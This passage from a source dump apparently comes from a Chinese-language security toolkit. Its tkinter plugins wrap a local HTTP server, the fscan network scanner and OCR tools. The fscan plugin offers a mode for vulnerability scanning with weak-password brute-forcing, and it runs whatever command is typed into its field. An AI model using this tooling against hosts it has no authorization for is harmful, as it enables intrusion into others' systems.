| text=_().run(text) 221 | 222 | return text 223 | 224 | class HttpServer(Plugin): 225 | menu="实验室" 226 | name="http.server" 227 | type="laboratory" 228 | server=None 229 | def buildWindow(self): 230 | tab_laboratory = self.frame_args["tab_laboratory"] 231 | frame0 = tk.Frame(tab_laboratory) 232 | frame0.grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) 233 | bind_label = tk.Label(frame0, text="bind:") 234 | bind_label.grid(row=0, column=nexti(i=0)) 235 | ip_entry = tk.Entry(frame0, width=16) 236 | ip_entry.insert(0, "0.0.0.0") 237 | ip_entry.grid(row=0, column=nexti()) 238 | tk.Label(frame0, width=1).grid(row=0, column=nexti(), padx=2) #占位 239 | port_entry = tk.Entry(frame0, width=6) 240 | port_entry.insert(0, "5000") 241 | port_entry.grid(row=0, column=nexti()) 242 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 243 | button_start = tk.Button(frame0, text="开始", command=self.onStart) 244 | button_start.grid(row=0, column=nexti(), padx=5) 245 | button_stop = tk.Button(frame0, text="停止", command=self.onStop) 246 | button_stop.grid(row=0, column=nexti(), padx=5) 247 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 248 | button_help = tk.Button(frame0, text="查看帮助文档", command=self.showHelp) 249 | button_help.grid(row=0, column=nexti(), padx=5) 250 | 251 | frame1 = tk.Frame(tab_laboratory) 252 | frame1.grid(row=1, column=0, pady=5, sticky=tk.NSEW) 253 | self.output_text = tk.Text(frame1) 254 | self.output_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 255 | scroll_y = ttk.Scrollbar(frame1, orient=tk.VERTICAL) 256 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 257 | scroll_y.configure(command=self.output_text.yview) 258 | self.output_text.configure(yscrollcommand=scroll_y.set) 259 | 260 | # 设置网格布局列和行权重 261 | tab_laboratory.grid_columnconfigure(0, weight=1) 262 | tab_laboratory.grid_rowconfigure(1, weight=1) 263 | 264 | # 设置options 265 | self.options=Options() 266 | dic={"Name":"IP", "Current Setting":"", "Required":"yes", "Description":"监听网卡的IP", "obj":ip_entry } 267 | self.options.append(dic) 268 | dic={"Name":"PORT", "Current Setting":"", "Required":"yes", "Description":"监听端口", "obj":port_entry } 269 | self.options.append(dic) 270 | 271 | #MyHandler里会用 272 | PluginGlobalStorage[self.__class__.__name__]={"class_obj":self} 273 | return self.output_text 274 | 275 | def onStart(self, event=None): 276 | options=self.getOptions() 277 | IP=options["IP"] 278 | PORT=int(options["PORT"]) 279 | 280 | class MyHandler(http.server.SimpleHTTPRequestHandler): 281 | def log_message(self, format, *args): 282 | msg=format%args 283 | obj=PluginGlobalStorage["HttpServer"]["class_obj"] 284 | obj.log(msg+"\n") 285 | 286 | def fn(): 287 | with socketserver.TCPServer((IP, PORT), MyHandler) as self.server: 288 | self.log(f"监听于{IP}:{PORT}\n") 289 | self.server.serve_forever() 290 | 291 | self.log("[+] 启动Server\n") 292 | thread = threading.Thread(target=fn) 293 | thread.start() 294 | 295 | def onStop(self, event=None): 296 | if self.server: 297 | self.log("[+] 关闭Server\n") 298 | self.server.shutdown() 299 | self.server=None 300 | else: 301 | self.log("[*] Server未启动\n") 302 | 303 | def showHelp(self, event=None): 304 | super().showHelp() 305 | self.log("相当于在python3下调用:\n") 306 | self.log("python -m http.server port\n\n") 307 | self.log("或者相当于在python2.7下调用:\n") 308 | self.log("python -m SimpleHTTPServer port\n\n") 309 | 310 | class Fscan(Plugin): 311 | menu="实验室" 312 | name="fscan扫描" 313 | type="laboratory" 314 | def __init__(self): 315 | Plugin.__init__(self) 316 | self.bin_dir=os.path.normpath(os.getcwd()+"/"+self.plugin_directory+"/_tool/fscan/") 317 | self.fscan="fscan32.exe" 318 | self.strategy_options=["ICMP存活探测", "TCP常见端口扫描", "默认扫描(带漏洞扫描与弱口令爆破)", "扫常见漏洞但不爆破密码"] 319 | self.bisrunning=False 320 | 321 | def buildWindow(self): 322 | tab_laboratory = self.frame_args["tab_laboratory"] 323 | frame0 = tk.Frame(tab_laboratory) 324 | frame0.grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) 325 | target_label = tk.Label(frame0, text=" 目标:") 326 | target_label.grid(row=0, column=nexti(i=0)) 327 | self.target_entry = tk.Entry(frame0, width=30) 328 | self.target_entry.grid(row=0, column=nexti()) 329 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=2) #占位 330 | strategy_label = tk.Label(frame0, text="策略:") 331 | strategy_label.grid(row=0, column=nexti()) 332 | self.strategy_box = ttk.Combobox(frame0, values=self.strategy_options, state="readonly") 333 | self.strategy_box.set(self.strategy_options[1]) #设置默认选项 334 | self.strategy_box.grid(row=0, column=nexti()) 335 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 336 | button_start = tk.Button(frame0, text="开始扫描", command=self.onStart) 337 | button_start.grid(row=0, column=nexti(), padx=5) 338 | button_stop = tk.Button(frame0, text="停止", command=self.onStop) 339 | button_stop.grid(row=0, column=nexti(), padx=5) 340 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 341 | button_help = tk.Button(frame0, text="查看帮助文档", command=self.showHelp) 342 | button_help.grid(row=0, column=nexti(), padx=5) 343 | 344 | frame1 = tk.Frame(tab_laboratory) 345 | frame1.grid(row=1, column=0, padx=5, pady=5, sticky=tk.W) 346 | cmd_label = tk.Label(frame1, text="命令行:") 347 | cmd_label.grid(row=0, column=nexti(i=0)) 348 | self.cmd_entry = tk.Entry(frame1, width=30000) 349 | self.cmd_entry.grid(row=0, column=nexti()) 350 | 351 | frame2 = tk.Frame(tab_laboratory) 352 | frame2.grid(row=2, column=0, pady=5, sticky=tk.NSEW) 353 | self.output_text = tk.Text(frame2) 354 | self.output_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 355 | scroll_y = ttk.Scrollbar(frame2, orient=tk.VERTICAL) 356 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 357 | scroll_y.configure(command=self.output_text.yview) 358 | self.output_text.configure(yscrollcommand=scroll_y.set) 359 | 360 | #绑定按键释放事件 361 | self.target_entry.bind('', self.onTargetEntryKeyRelease) 362 | 363 | # 绑定下拉框选择事件 364 | self.strategy_box.bind("<>", self.onComboboxSelected) 365 | 366 | # 绑定回车事件 367 | self.cmd_entry.bind('', self.onStart) 368 | 369 | # 设置网格布局列和行权重 370 | tab_laboratory.grid_columnconfigure(0, weight=1) 371 | tab_laboratory.grid_rowconfigure(2, weight=1) 372 | 373 | # 设置options 374 | self.options=Options() 375 | dic={"Name":"CMD", "Current Setting":"", "Required":"yes", "Description":"执行的命令", "obj":self.cmd_entry } 376 | self.options.append(dic) 377 | return self.output_text 378 | 379 | def setCMD(self, target, strategy): 380 | text="" 381 | if "ICMP存活探测"==strategy: 382 | text="{fscan} -h {target} -pn 0-65535 -no".format(fscan=self.fscan, target=target) 383 | elif "TCP常见端口扫描"==strategy: 384 | text="{fscan} -h {target} -pa 3389 -nobr -nopoc -no".format(fscan=self.fscan, target=target) 385 | elif "默认扫描(带漏洞扫描与弱口令爆破)"==strategy: 386 | text="{fscan} -h {target} -no".format(fscan=self.fscan, target=target) 387 | elif "扫常见漏洞但不爆破密码"==strategy: 388 | text="{fscan} -h {target} -nobr -no".format(fscan=self.fscan, target=target) 389 | self.cmd_entry.delete(0, tk.END) # 清除现有内容 390 | self.cmd_entry.insert(0, text) 391 | 392 | def onTargetEntryKeyRelease(self, event=None): 393 | self.setCMD(self.target_entry.get(), self.strategy_box.get()) 394 | 395 | def onComboboxSelected(self, event=None): 396 | self.setCMD(self.target_entry.get(), self.strategy_box.get()) 397 | 398 | def onStart(self, event=None): 399 | options=self.getOptions() 400 | cmd=options["CMD"] 401 | 402 | if self.bisrunning: 403 | self.log("[!] fscan正在运行中,请等待任务完成或者终止任务。\n") 404 | return 405 | 406 | self.bisrunning=True 407 | def fn(): 408 | try: 409 | self.executeCommand(cmd, cwd=self.bin_dir, logfunc=self.log) 410 | except Exception as e: 411 | print(e) 412 | self.bisrunning=False 413 | 414 | self.log(f"[+] {cmd}\n") 415 | self.thread = threading.Thread(target=fn) 416 | self.thread.start() 417 | 418 | def onStop(self, event=None): 419 | self.log("[*] onStop\n") 420 | #self.thread._stop() #无效 421 | 422 | def showHelp(self, event=None): 423 | super().showHelp() 424 | help ='点击“开始扫描”会执行“命令行”里的内容,“目标”与“策略”只是为了方便生成fscan命令行,如果直接在命令行里写普通命令也是可以执行的。\n\n' 425 | help+="fscan帮助文档:\n" 426 | self.log(help) 427 | self.executeCommand(self.fscan+" --help", cwd=self.bin_dir, logfunc=self.log) 428 | self.log("\n") 429 | -------------------------------------------------------------------------------- /plugin/poc/poc.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import socket 3 | 4 | class PortConnect(Plugin): 5 | menu="POC脚本" 6 | name="端口访问" 7 | type="laboratory" 8 | def buildWindow(self): #当为有界面的插件时,框架调用此函数,通过在子类中重写该方法,可以实现插件自定义界面 9 | return self.buildWindowIpPort() 10 | 11 | def onStart(self, event=None): 12 | options=self.getOptions() 13 | HOST=options["HOST"] 14 | PORT=int(options["PORT"]) 15 | if self.isPortOpen(HOST, PORT): 16 | self.log("{port}/tcp {status}\n".format(port=PORT, status="open")) 17 | else: 18 | self.log("{port}/tcp {status}\n".format(port=PORT, status="closed")) 19 | 20 | def isPortOpen(self, host, port): 21 | try: 22 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | sock.settimeout(2) # 设置超时时间为2秒 24 | sock.connect((host, port)) 25 | sock.close() 26 | return True 27 | except (socket.timeout, ConnectionRefusedError): 28 | return False 29 | 30 | class HttpGet(Plugin): 31 | menu="POC脚本" 32 | name="HTTP访问" 33 | type="laboratory" 34 | def onStart(self, event=None): 35 | options=self.getOptions() 36 | try: 37 | res = requests.get(options["URL"], headers=self.headers(), timeout=3, verify=False) 38 | if 200==res.status_code: 39 | self.log(res.content.decode("utf-8")) 40 | except Exception as e: 41 | print(e) 42 | -------------------------------------------------------------------------------- /plugin_imgops/.dir_ignore: -------------------------------------------------------------------------------- 1 | #在.dir_ignore中定义的目录在插件初始化的时候不会被扫描,可以在一定程度上加快程序启动速度,也可以避免无谓的exec执行python代码到globals污染全局变量。 2 | 3 | _dependencies 4 | -------------------------------------------------------------------------------- /plugin_imgops/imgops.py: -------------------------------------------------------------------------------- 1 | from tkinter import ttk 2 | from tkinterdnd2 import DND_FILES, TkinterDnD 3 | from PIL import Image, ImageTk, ImageGrab 4 | from pyzbar import pyzbar 5 | 6 | class DecodeQRcode(Plugin): 7 | menu="图文处理" 8 | name="二维码识别" 9 | type="laboratory" 10 | desc=r'''二维码识别,支持拖拽和粘贴。''' 11 | def buildWindow(self): 12 | tab_laboratory = self.frame_args["tab_laboratory"] 13 | frame0 = tk.Frame(tab_laboratory) 14 | frame0.grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) 15 | img_label = tk.Label(frame0, text="图片路径:") 16 | img_label.grid(row=0, column=nexti(i=0)) 17 | self.img_entry = tk.Entry(frame0, width=100) 18 | self.img_entry.grid(row=0, column=nexti()) 19 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 20 | button_open = tk.Button(frame0, text="打开", command=self.onOpen) 21 | button_open.grid(row=0, column=nexti(), padx=5) 22 | button_recognize = tk.Button(frame0, text="识别", command=self.onRecognize) 23 | button_recognize.grid(row=0, column=nexti(), padx=5) 24 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 25 | button_help = tk.Button(frame0, text="查看帮助文档", command=self.showHelp) 26 | button_help.grid(row=0, column=nexti(), padx=5) 27 | 28 | # 绑定回车事件 29 | self.img_entry.bind('', self.onOpen) 30 | 31 | frame1 = tk.Frame(tab_laboratory) 32 | frame1.grid(row=1, column=0, pady=5, sticky=tk.NSEW) 33 | frame1.grid_columnconfigure(0, weight=1, minsize=200) # 图片区 34 | frame1.grid_columnconfigure(1, weight=1) # 文本区 35 | frame1.grid_rowconfigure(0, weight=1) 36 | 37 | # 图片显示区 (左侧) 38 | image_display_frame = tk.Frame(frame1, relief=tk.SUNKEN, borderwidth=1, bg="lightgrey") 39 | image_display_frame.grid(row=0, column=0, sticky=tk.NSEW, padx=(0,5)) 40 | self.image_label = tk.Label(image_display_frame, text="拖拽图片到此\n或Ctrl+V粘贴截图", bg="lightgrey", takefocus=1) 41 | self.image_label.pack(expand=True, fill=tk.BOTH) 42 | 43 | # 绑定拖拽事件到图片显示Label 44 | self.image_label.drop_target_register(DND_FILES) 45 | self.image_label.dnd_bind('<>', self.onDropImage) 46 | 47 | # 绑定Ctrl+V用于粘贴 48 | self.image_label.bind("", lambda event: self.image_label.focus_set()) 49 | self.image_label.bind("", self.onPasteImage) #先选中image_label,再Ctrl+V 50 | 51 | # 文本输出区 (右侧) 52 | text_output_frame = tk.Frame(frame1) # 用于容纳文本框和滚动条 53 | text_output_frame.grid(row=0, column=1, sticky=tk.NSEW) 54 | text_output_frame.grid_columnconfigure(0, weight=1) 55 | 56 | self.output_text = tk.Text(text_output_frame) 57 | self.output_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 58 | scroll_y = ttk.Scrollbar(text_output_frame, orient=tk.VERTICAL) 59 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 60 | scroll_y.configure(command=self.output_text.yview) 61 | self.output_text.configure(yscrollcommand=scroll_y.set) 62 | 63 | # 设置网格布局列和行权重 64 | tab_laboratory.grid_columnconfigure(0, weight=1) 65 | tab_laboratory.grid_rowconfigure(1, weight=1) 66 | 67 | self.current_pil_image = None 68 | # 设置options 69 | self.options=Options() 70 | dic={"Name":"IMAGE_PATH", "Current Setting":"", "Required":"no", "Description":"图片路径", "obj":self.img_entry } 71 | self.options.append(dic) 72 | dic={"Name":"IMAGE_DATA", "Current Setting":"", "Required":"yes", "Description":"图片数据", "obj":"(image data)" } 73 | self.options.append(dic) 74 | return self.output_text 75 | 76 | def onOpen(self, event=None): 77 | filepath = filedialog.askopenfilename( 78 | title="选择图片文件", 79 | filetypes=(("图片文件", "*.jpg *.jpeg *.png *.bmp *.gif *.tiff"), ("所有文件", "*.*")) 80 | ) 81 | if filepath: 82 | pil_image = Image.open(filepath) 83 | self.img_entry.delete(0, tk.END) 84 | self.img_entry.insert(0, os.path.normpath(filepath)) 85 | self.displayImage(pil_image) 86 | 87 | def onRecognize(self, event=None): 88 | if not self.current_pil_image: 89 | return 90 | 91 | decoded_objects = pyzbar.decode(self.current_pil_image) 92 | msg="" 93 | if decoded_objects: 94 | msg += (f"\n从图片中识别到的二维码信息:\n") 95 | for obj in decoded_objects: 96 | # 将解码后的数据从 bytes 转换为 string (通常是 utf-8) 97 | decoded_data = obj.data.decode('utf-8') 98 | msg+=f"类型 (Type): {obj.type}\n" 99 | msg+=f"内容 (Data): {decoded_data}\n" 100 | msg+=f"位置 (Rect): {obj.rect}\n" 101 | msg+="-" * 20+"\n" 102 | else: 103 | msg += "\n未识别到二维码信息。\n" 104 | 105 | self.log(msg) 106 | 107 | def showHelp(self, event=None): 108 | super().showHelp() 109 | 110 | def onDropImage(self, event): 111 | # event.data 通常是包含文件路径的字符串,可能包含花括号和空格 112 | # 使用 TkinterDnD 提供的 splitlist 方法处理更安全 113 | #print(event.data) 114 | filepaths = self.image_label.tk.splitlist(event.data) 115 | if filepaths: 116 | filepath = filepaths[0] # 取第一个文件 117 | # 简单检查下是否是常见图片后缀 (可选) 118 | if filepath.lower().endswith(('.png', '.jpg', '.jpeg', '.gif', '.bmp')): 119 | pil_image = Image.open(filepath) 120 | self.img_entry.delete(0, tk.END) 121 | self.img_entry.insert(0, os.path.normpath(filepath)) 122 | 123 | self.displayImage(pil_image) 124 | else: 125 | self.log(f"拖拽了不支持的文件类型: {os.path.normpath(filepath)}\n") 126 | else: 127 | self.log("拖拽事件未获取到文件路径。\n") 128 | 129 | def onPasteImage(self, event): 130 | try: 131 | pil_image = ImageGrab.grabclipboard() 132 | if pil_image: 133 | if not isinstance(pil_image, Image.Image): 134 | # ImageGrab.grabclipboard() 在某些情况下可能返回文件路径列表 (例如从文件管理器复制文件) 135 | # 这里我们主要处理位图数据 136 | if isinstance(pil_image, list) and pil_image: 137 | try: 138 | # 尝试打开列表中的第一个路径 (如果它是图片) 139 | filepath = pil_image[0] 140 | pil_image = Image.open(pil_image[0]) 141 | self.img_entry.delete(0, tk.END) 142 | self.img_entry.insert(0, os.path.normpath(filepath)) 143 | except Exception: 144 | self.log("剪贴板内容不是直接的图像数据,也无法作为图片文件打开。\n") 145 | return 146 | else: 147 | self.log("剪贴板内容不是有效的图像数据。\n") 148 | return 149 | else: 150 | self.img_entry.delete(0, tk.END) 151 | self.img_entry.insert(0, "来自剪贴板") 152 | self.displayImage(pil_image) 153 | else: 154 | self.log("剪贴板中没有图片。\n") 155 | 156 | except Exception as e: 157 | self.log(f"粘贴操作失败或剪贴板无图片: {e}\n") 158 | 159 | def displayImage(self, pil_image): 160 | """ 161 | 显示图片到image_label。 162 | 参数: pil_image 是PIL.Image对象。 163 | """ 164 | try: 165 | self.current_pil_image = pil_image 166 | 167 | # 获取Label的当前尺寸以缩放图片 168 | # 需要延迟一下获取,否则winfo_width/height可能为1 169 | self.image_label.update_idletasks() 170 | label_width = self.image_label.winfo_width() 171 | label_height = self.image_label.winfo_height() 172 | 173 | if label_width <= 1 or label_height <= 1: # 如果窗口还未完全绘制,给个默认值 174 | label_width = 300 175 | label_height = 300 176 | 177 | img_copy = self.current_pil_image.copy() 178 | img_copy.thumbnail((label_width-5, label_height-5), Image.Resampling.LANCZOS) # 减去一点边距 179 | 180 | self.current_photo_image = ImageTk.PhotoImage(img_copy) # 保留对PhotoImage的引用,否则会被回收,导致无法显示图片 181 | self.image_label.config(image=self.current_photo_image, text="") # 清空文字 182 | self.log(f"图片已加载。尺寸: {self.current_pil_image.width}x{self.current_pil_image.height}\n") 183 | 184 | self.onRecognize() 185 | 186 | except FileNotFoundError: 187 | self.log("错误: 图片文件未找到。\n") 188 | except Exception as e: 189 | self.log(f"错误: 无法加载图片 - {e}\n") 190 | 191 | class WeChatOCR1(DecodeQRcode): 192 | menu="图文处理" 193 | name="微信OCR(kanadeblisst00版本)" 194 | type="laboratory" 195 | is_initialized = False 196 | desc=r''' 197 | 源自 https://github.com/kanadeblisst00/wechat_ocr 198 | 本插件使用的微信版本为3.9.12.51,WeChatOCR版本为7079。 199 | 200 | 相关项目: 201 | https://github.com/EEEEhex/QQImpl 202 | https://github.com/swigger/wechat-ocr 203 | ''' 204 | def onRecognize(self, event=None): 205 | if not self.current_pil_image: 206 | return 207 | 208 | def ocr_result_callback(img_path, results): 209 | lines=[] 210 | for dic in results["ocrResult"]: 211 | lines.append( dic["text"]) 212 | 213 | self.content="\n".join(lines) 214 | #self.log("\n".join(lines)) # 对象都在,但直接调用会卡住 215 | 216 | OCR_MAX_TASK_ID=32 217 | self.content="" 218 | 219 | if not self.is_initialized: 220 | self.is_initialized=True 221 | wechat_path = f"{self.plugin_directory}/_dependencies/WeChat/[3.9.12.51]" 222 | wechatocr3_path = f"{self.plugin_directory}/_dependencies/WeChatOCR/7079/extracted/WeChatOCR.exe" 223 | load_py_module(name="wechat_ocr", location=f"{self.plugin_directory}/_dependencies/kanadeblisst00/wechat_ocr/__init__.py") 224 | from wechat_ocr.ocr_manager import OcrManager, OCR_MAX_TASK_ID 225 | 226 | self.ocr_manager = OcrManager(wechat_path) 227 | # 设置WeChatOcr目录 228 | self.ocr_manager.SetExePath(wechatocr3_path) 229 | # 设置微信所在路径 230 | self.ocr_manager.SetUsrLibDir(wechat_path) 231 | # 设置ocr识别结果的回调函数 232 | self.ocr_manager.SetOcrResultCallback(ocr_result_callback) 233 | # 启动ocr服务 234 | self.ocr_manager.StartWeChatOCR() 235 | 236 | output_dir="output" 237 | os.makedirs(output_dir, exist_ok=True) 238 | now=int(time.time()) 239 | tmpfile=f"{output_dir}/tmp_{now}.png" 240 | self.current_pil_image.save(tmpfile, format="png") #通通转成png 241 | 242 | #图片识别 243 | self.ocr_manager.DoOCRTask(tmpfile) 244 | while self.ocr_manager.m_task_id.qsize() != OCR_MAX_TASK_ID: 245 | time.sleep(0.1) 246 | 247 | # 识别输出结果 248 | #self.ocr_manager.KillWeChatOCR() 249 | 250 | self.clearLog() 251 | self.log(self.content) #self.content在ocr_result_callback里被设置 252 | self.log("\n") 253 | 254 | if os.path.exists(tmpfile): 255 | os.remove(tmpfile) 256 | 257 | class WeChatOCR2(DecodeQRcode): 258 | menu="图文处理" 259 | name="微信OCR(swigger版本)" 260 | type="laboratory" 261 | is_initialized = False 262 | desc=r''' 263 | 源自 https://github.com/swigger/wechat-ocr 264 | 本插件使用的微信版本为3.9.12.51,WeChatOCR版本为7079。 265 | 266 | 相关项目: 267 | https://github.com/EEEEhex/QQImpl 268 | https://github.com/kanadeblisst00/wechat_ocr 269 | ''' 270 | def onRecognize(self, event=None): 271 | if not self.current_pil_image: 272 | return 273 | 274 | if not self.is_initialized: 275 | self.is_initialized=True 276 | wechat_path = f"{self.plugin_directory}/_dependencies/WeChat/[3.9.12.51]" 277 | wechatocr3_path = f"{self.plugin_directory}/_dependencies/WeChatOCR/7079/extracted/WeChatOCR.exe" 278 | self.wcocr = load_py_module(name="wcocr", location=f"{self.plugin_directory}/_dependencies/swigger/wcocr.pyd") 279 | self.wcocr.init(wechatocr3_path, wechat_path) 280 | 281 | output_dir="output" 282 | os.makedirs(output_dir, exist_ok=True) 283 | now=int(time.time()) 284 | tmpfile=f"{output_dir}/tmp_{now}.png" 285 | self.current_pil_image.save(tmpfile, format="png") #通通转成png 286 | 287 | res = self.wcocr.ocr(tmpfile) 288 | #self.log(json.dumps(res)) 289 | 290 | lines=[] 291 | for dic in res["ocr_response"]: 292 | lines.append( dic["text"]) 293 | 294 | self.clearLog() 295 | self.log("\n".join(lines)) 296 | self.log("\n") 297 | 298 | if os.path.exists(tmpfile): 299 | os.remove(tmpfile) 300 | 301 | class WeChatOcrBatch(Plugin): 302 | menu="图文处理" 303 | name="OCR批量扫描(swigger版本)" 304 | type="laboratory" 305 | is_initialized = False 306 | is_running = False 307 | 308 | def buildWindow(self): 309 | if not self.is_initialized: 310 | self.is_initialized=True 311 | wechat_path = f"{self.plugin_directory}/_dependencies/WeChat/[3.9.12.51]" 312 | wechatocr3_path = f"{self.plugin_directory}/_dependencies/WeChatOCR/7079/extracted/WeChatOCR.exe" 313 | self.wcocr = load_py_module(name="wcocr", location=f"{self.plugin_directory}/_dependencies/swigger/wcocr.pyd") 314 | self.wcocr.init(wechatocr3_path, wechat_path) 315 | 316 | tab_laboratory = self.frame_args["tab_laboratory"] 317 | frame0 = tk.Frame(tab_laboratory) 318 | frame0.grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) 319 | imgs_label = tk.Label(frame0, text="图片目录:") 320 | imgs_label.grid(row=0, column=nexti(i=0)) 321 | self.imgs_entry = tk.Entry(frame0, width=100) 322 | self.imgs_entry.grid(row=0, column=nexti()) 323 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 324 | button_open = tk.Button(frame0, text="打开", command=self.onOpen) 325 | button_open.grid(row=0, column=nexti(), padx=5) 326 | button_recognize = tk.Button(frame0, text="批量识别", command=self.onRecognize) 327 | button_recognize.grid(row=0, column=nexti(), padx=5) 328 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 329 | button_help = tk.Button(frame0, text="查看帮助文档", command=self.showHelp) 330 | button_help.grid(row=0, column=nexti(), padx=5) 331 | 332 | frame1 = tk.Frame(tab_laboratory) 333 | frame1.grid(row=1, column=0, pady=5, sticky=tk.NSEW) 334 | self.output_text = tk.Text(frame1) 335 | self.output_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 336 | scroll_y = ttk.Scrollbar(frame1, orient=tk.VERTICAL) 337 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 338 | scroll_y.configure(command=self.output_text.yview) 339 | self.output_text.configure(yscrollcommand=scroll_y.set) 340 | 341 | # 绑定回车事件 342 | self.imgs_entry.bind('', self.onRecognize) 343 | 344 | # 设置网格布局列和行权重 345 | tab_laboratory.grid_columnconfigure(0, weight=1) 346 | tab_laboratory.grid_rowconfigure(1, weight=1) 347 | 348 | # 设置options 349 | self.options=Options() 350 | dic={"Name":"IMAGE_DIR", "Current Setting":"", "Required":"yes", "Description":"图片目录", "obj":self.imgs_entry } 351 | self.options.append(dic) 352 | return self.output_text 353 | 354 | def onOpen(self, event=None): 355 | dir_path = filedialog.askdirectory( 356 | title="选择图片目录" 357 | ) 358 | if dir_path: 359 | self.imgs_entry.delete(0, tk.END) 360 | self.imgs_entry.insert(0, os.path.normpath(dir_path)) 361 | 362 | def onRecognize(self, event=None): 363 | options=self.getOptions() 364 | imgs_dir=options["IMAGE_DIR"] 365 | 366 | if self.is_running: 367 | self.log("[!] 正在运行中,请等待任务完成或者终止任务。\n") 368 | return 369 | 370 | self.is_running=True 371 | outfile="out_{now}.txt".format(now=int(time.time())) 372 | self.log(f"[+] {imgs_dir}\n") 373 | self.log(f"save to {outfile}\n\n") 374 | 375 | def fn(): 376 | try: 377 | def _callback_ocr(entry): 378 | self.log(f"[+] {entry.path}\n") 379 | try: 380 | content = self.ocrOneImg(entry.path) 381 | with open(outfile, "a", encoding="utf-8") as fout: 382 | fout.write(content) 383 | #self.log(res) 384 | except Exception as e: 385 | print(e) 386 | #self.log("\n\n") 387 | 388 | Utils.traverseDirectory(path=imgs_dir, find=r'(?i)^.*\.(png|jpe?g|bmp|tiff?|webp)$', ignore_dir=set([""]), callback=_callback_ocr) 389 | # 正则表达式解释: 390 | # (?i) -> 不区分大小写 391 | # \.(...) -> 匹配扩展名点符号 392 | # png -> 匹配.png 393 | # jpe?g -> 匹配.jpg或.jpeg 394 | # bmp -> 匹配.bmp 395 | # tiff? -> 匹配.tif或.tiff 396 | # webp -> 匹配.webp 397 | # $ -> 确保扩展名在字符串末尾 398 | 399 | self.log("[*] over") 400 | 401 | except Exception as e: 402 | print(e) 403 | self.is_running=False 404 | 405 | self.thread = threading.Thread(target=fn) 406 | self.thread.start() 407 | 408 | def onStop(self, event=None): 409 | self.log("[*] onStop\n") 410 | #self.thread._stop() #无效 411 | 412 | def ocrOneImg(self, imgs_path): 413 | res = self.wcocr.ocr(imgs_path) 414 | #self.log(json.dumps(res)) 415 | 416 | lines=[] 417 | for dic in res["ocr_response"]: 418 | lines.append( dic["text"] ) 419 | 420 | return "\n".join(lines) 421 | --------------------------------------------------------------------------------